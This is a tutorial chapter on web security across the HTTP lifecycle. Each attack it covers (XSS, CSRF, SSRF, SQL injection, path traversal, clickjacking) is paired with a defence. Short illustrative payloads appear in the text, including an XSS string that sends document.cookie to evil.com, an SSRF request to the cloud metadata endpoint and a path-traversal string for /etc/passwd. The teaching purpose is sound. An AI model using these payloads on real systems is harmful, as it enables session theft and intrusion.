Part 7 — Keeping it safe and observable
Two closing concerns that cut across everything in Parts 1–6 rather than adding a new stage to the request. Chapter 12 is the attack surface at every layer you've just learned, and the specific defense for each. Chapter 13 is how a network team actually watches and steers all of this traffic once it's running in production — continuously, not just once.
Chapter 12 — Security: Protecting the Entire Lifecycle
Every phase of the HTTP lifecycle is an attack surface. This guide covers what can go wrong at each point and how Netflix (and you) defend against it.
The Simple Version (5-year-old)
Imagine mailing a secret letter to Netflix:
- Envelope (TLS) — so nobody can read it on the way.
- Wax seal (authenticated encryption tag) — so tampering is detected.
- ID card (certificate) — so you know it's really Netflix and not someone pretending.
- Secret code word (authentication) — so Netflix knows it's really you.
- Bouncer at the door (firewall/WAF) — who checks everyone entering.
- Alarm system (monitoring/SIEM) — alerts if something suspicious happens.
Security is layers of defense — no single mechanism is enough. Each layer catches what the previous one misses.
1. Transport Security — TLS
Already covered in Chapter 4 (TLS & HTTPS). Quick summary of what it defends against:
| Attack | How TLS Defends |
|---|---|
| Eavesdropping | Negotiated encryption such as AES-GCM or ChaCha20-Poly1305 — intercept but cannot read plaintext |
| Tampering | Authenticated encryption detects modified records |
| Impersonation | Certificate chain — proves server is who it claims to be |
| Downgrade attacks | TLS 1.3 Finished message — any tampering detected; HSTS prevents HTTP fallback |
| MITM | Certificate validation + HSTS + Certificate Transparency monitoring + CAA |
2. HSTS — HTTP Strict Transport Security
Problem: You type netflix.com (no https://). Browser tries http://netflix.com first. An attacker could intercept this first HTTP request and redirect you to a fake site.
HSTS tells the browser: "Never use HTTP for this domain — always use HTTPS, for the next [max-age] seconds."
Response header:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
max-age=31536000 → remember this for 1 year
includeSubDomains → applies to api.netflix.com, cdn.netflix.com too
preload → submit to browser's built-in HSTS preload list
HSTS Preload List
A browser-shipped list of domains that should use HTTPS from the very first visit, before any ordinary HTTP request is made. Preloading is powerful but operationally serious: if you preload a domain and later break HTTPS for a subdomain, users may be unable to reach it until you fix TLS or complete a slow removal process.
First visit WITHOUT HSTS:
1. Browser → http://netflix.com (plain HTTP)
2. Netflix → 301 Redirect to https://netflix.com
3. Attacker could intercept step 1!
First visit WITH HSTS preload:
1. Browser checks hardcoded list: netflix.com → HTTPS only
2. Browser → https://netflix.com (directly, no ordinary HTTP first hop)
3. Attacker loses the easy first-visit HTTP downgrade window ✓
3. Content Security Policy (CSP)
Problem: XSS (Cross-Site Scripting) — attacker injects malicious JavaScript into your page. The injected JS runs with full access to cookies, DOM, and can send data to attackers.
CSP is a response header that tells the browser: "Only execute scripts from these trusted sources."
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.nflxvideo.net 'nonce-abc123xyz';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://nflximg.net;
connect-src 'self' https://api.netflix.com wss://push.netflix.com;
font-src 'self' https://nflxvideo.net;
frame-ancestors 'none';
upgrade-insecure-requests;
How CSP blocks XSS:
<!-- Attacker injects this script via a comment field or URL parameter: -->
<script src="https://evil.com/steal-cookies.js"></script>
<!-- Browser checks: is evil.com in script-src? NO → BLOCKED ✓ -->
<!-- What about inline scripts? -->
<script>stealCookies()</script>
<!-- Blocked unless 'unsafe-inline' or matching nonce is present -->
<!-- With nonce-based CSP: -->
<!-- Server adds nonce to legitimate scripts: -->
<script nonce="abc123xyz">legitCode()</script>
<!-- Attacker cannot know the server-generated nonce → cannot inject with valid nonce -->
CSP Violation Reporting:
Content-Security-Policy: ...; report-uri https://csp-reports.netflix.com
Browser sends a JSON report to the URI when a CSP violation occurs. Netflix can detect ongoing injection attacks in real-time.
4. CORS — Cross-Origin Resource Sharing
Problem: A malicious site evil.com loads in your browser. It makes a fetch() call to https://api.netflix.com/users/me — and since you're logged in, this would succeed and send your data to evil.com.
Same-Origin Policy blocks this by default. CORS is the mechanism to selectively allow trusted cross-origin access.
evil.com tries: fetch('https://api.netflix.com/users/me')
Browser sends preflight: OPTIONS /users/me
Origin: https://evil.com
api.netflix.com responds:
Access-Control-Allow-Origin: https://www.netflix.com ← only this origin allowed
(evil.com is NOT listed)
Browser: "Origin evil.com is not allowed. Blocking response." ✓
The request DID reach the server — CORS is browser-enforced, not server-enforced.
(Server-side: validate Origin header too, for defense-in-depth)
5. Cookies — Secure Storage of Session State
Cookies are the primary way browsers maintain session state. Misconfigured cookies are a major attack vector.
Set-Cookie: sessionId=abc123;
Secure; ← Only sent over HTTPS (never HTTP — prevents interception)
HttpOnly; ← JavaScript cannot read this cookie (document.cookie blocked)
Prevents XSS from stealing session tokens
SameSite=Strict; ← Cookie not sent on any cross-site request
Strongest CSRF protection
Domain=.netflix.com; ← Sent to all netflix.com subdomains
Path=/;
Max-Age=3600; ← Expires in 1 hour
SameSite Values — CSRF Protection
| SameSite | Sent on cross-site navigation? | Sent on cross-site fetch? | Use case |
|---|---|---|---|
Strict |
No | No | Maximum CSRF protection. May break legitimate flows (OAuth redirects) |
Lax |
Yes (top-level GET only) | No | Good default. Allows "link from google → netflix" |
None |
Yes | Yes | Required for embedded content (iframes, widgets). Must have Secure |
CSRF — Cross-Site Request Forgery
Without SameSite protection:
1. You're logged into netflix.com (cookie in browser).
2. You visit evil.com.
3. evil.com has hidden form: <form action="https://netflix.com/account/delete" method="POST">
4. Form auto-submits. Browser sends POST with your netflix.com cookie.
5. Netflix deletes your account — attacker's request, your cookie!
With SameSite=Strict:
Step 4: Browser sees cross-site POST. Cookie has SameSite=Strict.
Cookie NOT sent. Request arrives without auth → rejected. ✓
6. X-Frame-Options & Clickjacking
Clickjacking: Attacker embeds Netflix in a transparent iframe, overlays a fake UI. You think you're clicking "Win a Prize!" but you're actually clicking Netflix's "Buy Premium Subscription."
X-Frame-Options: DENY
→ This page cannot be embedded in ANY iframe
X-Frame-Options: SAMEORIGIN
→ Only same-origin iframes allowed
Content-Security-Policy: frame-ancestors 'none';
→ Modern equivalent (CSP frame-ancestors supersedes X-Frame-Options)
→ More flexible: can specify allowed origins explicitly
7. Certificates & PKI Security
Certificate Transparency (CT)
Publicly trusted TLS certificates are expected to appear in public, append-only Certificate Transparency logs. Major browsers require proof of CT logging (usually via embedded or stapled SCTs — Signed Certificate Timestamps) before trusting many certificate types.
Why this matters:
A rogue CA issues a cert for netflix.com to an attacker.
This cert MUST be logged in CT.
Netflix monitors CT logs for any cert issued for *.netflix.com.
Netflix detects the rogue cert within minutes.
Netflix contacts the CA to revoke it.
Netflix can also use CAA records to prevent unauthorized issuance.
CAA — Certification Authority Authorization
A DNS record specifying which CAs are allowed to issue certs for your domain:
netflix.com CAA 0 issue "digicert.com"
netflix.com CAA 0 issuewild "digicert.com"
netflix.com CAA 0 iodef "mailto:security@netflix.com"
If a CA (Let's Encrypt, Comodo, etc.) receives a cert request for netflix.com, it must check CAA records first. If the CA isn't listed, it must refuse.
Certificate Revocation
If Netflix's private key is stolen, they need to revoke the cert immediately:
CRL (Certificate Revocation List):
CA publishes a list of revoked serial numbers at a URL.
Browser downloads and checks the list.
Problems: Large file, updated infrequently, browser caches stale versions.
OCSP (Online Certificate Status Protocol):
Browser makes real-time request to CA's OCSP responder:
"Is cert serial 12345678 still valid?"
CA responds: "Good" or "Revoked"
Problem: Latency (extra network request per HTTPS connection) + privacy (CA knows your browsing).
OCSP Stapling (solution):
Netflix's server fetches OCSP response from CA (cached for 24hrs).
Netflix includes ("staples") this response in the TLS handshake.
Browser gets freshness proof without extra request.
No latency. No privacy leak. ✓
OCSP Must-Staple:
Certificate extension that says: "If OCSP staple missing, refuse connection."
Prevents attacker from blocking OCSP responses to use a revoked cert.
8. Web Application Firewall (WAF)
A WAF sits between users and your web application, inspecting HTTP requests for known attack patterns.
Client → WAF → Reverse Proxy → App Server
WAF inspects (at L7):
• SQL injection: ?id=1' OR '1'='1 → BLOCK
• XSS: <script>alert(1)</script> → BLOCK
• Path traversal: /../etc/passwd → BLOCK
• Known CVE exploits → BLOCK
• Abnormal request rates → BLOCK (rate limit)
• Malformed HTTP → BLOCK
• OWASP Top 10 attack patterns → BLOCK
WAF rule types:
- Signature-based: Match known attack strings. Fast but misses novel attacks.
- Anomaly-based: Score requests on deviation from normal. Catches new attacks.
- Rate-based: Block IPs making too many requests.
9. Authentication & Authorization
Authentication = Who are you? (Verify identity) Authorization = What are you allowed to do? (Verify permissions)
JWT — JSON Web Token
A large streaming service might use JWTs or a similar signed-token format for API authentication:
JWT structure (three Base64-encoded parts separated by dots):
Header:
{
"alg": "RS256", ← Signed with RSA-256
"typ": "JWT"
}
Payload:
{
"sub": "user-id-12345",
"email": "user@example.com",
"plan": "standard",
"iat": 1714000000, ← Issued at
"exp": 1714003600 ← Expires at (+1 hour)
}
Signature:
RSASHA256(base64(header) + "." + base64(payload), privateKey)
Full JWT: eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyLWlkLTEyMzQ1In0.SIG...
Verification:
1. Decode header and payload (anyone can do this — not encrypted, just encoded)
2. Verify signature with Netflix's public key
3. Verify exp hasn't passed
4. Verify iss (issuer) and aud (audience) match expected values
If all pass: user is authenticated ✓
JWT sent as: Cookie (HttpOnly, Secure) or Authorization: Bearer <token> header.
JWT Security pitfalls:
- Never store sensitive data in payload (it's base64, not encrypted — anyone can decode it).
alg: noneattack — always validate thealgfield, reject "none".- Short expiry + refresh tokens — if JWT is stolen, short TTL limits damage window.
- Rotate signing keys periodically.
10. Common Web Attacks — How They Work and How to Stop Them
SQL Injection
Vulnerable code:
query = "SELECT * FROM users WHERE id = " + user_input;
user_input = "1 OR 1=1 --"
query = "SELECT * FROM users WHERE id = 1 OR 1=1 --"
→ Returns ALL users ✗
Defense: Parameterized queries / prepared statements:
query = "SELECT * FROM users WHERE id = ?"
execute(query, [user_input])
→ user_input treated as DATA, never as SQL code ✓
XSS — Cross-Site Scripting
Reflected XSS:
Netflix search: ?q=<script>document.location='https://evil.com/?c='+document.cookie</script>
Page renders: <p>Results for <script>...</script></p>
Script executes: steals your cookies → attacker logs in as you ✗
Defense:
• Output encoding: render user input as text, not HTML
<p>Results for {html_encode(query)}</p>
→ <p>Results for <script>...</script></p>
(displayed as text, not executed)
• CSP: even if rendered, blocked by CSP
• HttpOnly cookies: even if XSS runs, can't read cookies
SSRF — Server-Side Request Forgery
Attack:
Netflix has an endpoint: GET /preview?url=https://example.com
Attacker: GET /preview?url=http://169.254.169.254/latest/meta-data/
Server fetches AWS metadata endpoint → returns IAM credentials to attacker!
Defense:
• Validate URL is an allowed external domain
• Block private IP ranges (10.x, 172.16.x, 192.168.x, 169.254.x)
• Use DNS resolution at validation time AND fetch time
• Run fetcher in isolated network with no internal access
Path Traversal
Attack:
GET /download?file=../../../etc/passwd
Server: read("/var/www/files/../../../etc/passwd") → reads /etc/passwd ✗
Defense:
• Canonicalize path and verify it starts with allowed base directory
• Use chroot or container to isolate file access
• Never take filenames directly from user input
11. Security Headers — Quick Reference
| Header | What It Does | Example |
|---|---|---|
Strict-Transport-Security |
Force HTTPS for N seconds | max-age=31536000; includeSubDomains; preload |
Content-Security-Policy |
Whitelist resource sources | default-src 'self'; script-src 'self' 'nonce-xyz' |
X-Frame-Options |
Prevent iframe embedding (clickjacking) | DENY |
X-Content-Type-Options |
Prevent MIME sniffing | nosniff |
Referrer-Policy |
Control Referer header | strict-origin-when-cross-origin |
Permissions-Policy |
Restrict browser APIs | geolocation=(), camera=() |
Cross-Origin-Opener-Policy |
Isolate browsing context | same-origin |
Cross-Origin-Embedder-Policy |
Required for SharedArrayBuffer | require-corp |
Cross-Origin-Resource-Policy |
Control cross-origin resource reads | same-site |
12. Defense in Depth — Netflix's Security Layers
Layer 1: DNS — CAA records, DNSSEC
Layer 2: TLS — TLS 1.3, HSTS preload, OCSP stapling, CT
Layer 3: Network — DDoS scrubbing, BGP RPKI, rate limiting at L3/L4
Layer 4: Edge WAF — OWASP rules, IP reputation, bot detection
Layer 5: Authentication — JWT with short TTL, OAuth2, MFA
Layer 6: Authorization — RBAC, least privilege, service-to-service mTLS
Layer 7: Application — Parameterized queries, output encoding, CSP, CORS
Layer 8: Monitoring — SIEM, anomaly detection, CT log monitoring
Layer 9: Secrets — Key rotation, hardware HSMs, no hardcoded credentials
Layer 10: Incident Response — Runbooks, on-call, cert revocation procedures
Each layer assumes the previous layer may fail. No single layer is the sole defense.
Across the series
Part 9 of this guide turns several of these defences into Go code you can run:
| Defence | Lab |
|---|---|
HSTS, CSP, nosniff, Referrer-Policy, Permissions-Policy on every response |
httpsserver, Chapter 19 |
| Server timeouts against Slowloris (200 held connections dropped in under 10 s) | slowloris, Chapter 19 |
| Request smuggling | desync, Chapter 20 |
| Rate limiting by identity, not IP | resilience, Chapter 21 |
| SSRF protection that survives DNS tricks and redirects | ssrfguard, Chapter 22 |
Deeper material: the Go guide's security part (secure coding, password hashing and JWTs, a WAF middleware, mTLS), the Go plan's WAF (Week 10), API security (Week 11), and DDoS defence (Week 13), and the Linux guide's hardening chapter for the host underneath. The security guides go much further, and come before this guide in the series: Security from Zero for foundations (OWASP Top 10, TLS, PKI) and Security Engineering in Depth, Part 6 for the advanced web attacks, each with a Go lab.
Key Takeaways
- HSTS closes the repeat-visit HTTP downgrade window. HSTS preload closes the first-visit window for preloaded domains, but it requires careful certificate and subdomain operations.
- CSP defends against XSS by whitelisting trusted script sources. Use nonces for inline scripts.
- CORS is browser-enforced — it does not prevent server-side attacks.
- SameSite=Lax/Strict cookies reduce many CSRF risks; high-risk actions still commonly use explicit CSRF tokens and origin checks.
- HttpOnly cookies prevent XSS from stealing session tokens.
- Certificate Transparency makes misissued certs publicly visible within minutes.
- CAA records restrict which CAs can issue certs for your domain.
- JWT is not encrypted — only signed. Never store sensitive data in it.
- OCSP Stapling provides cert freshness without privacy-leaking OCSP requests.
- Defense in depth: layer your defenses. Assume any single layer can be bypassed.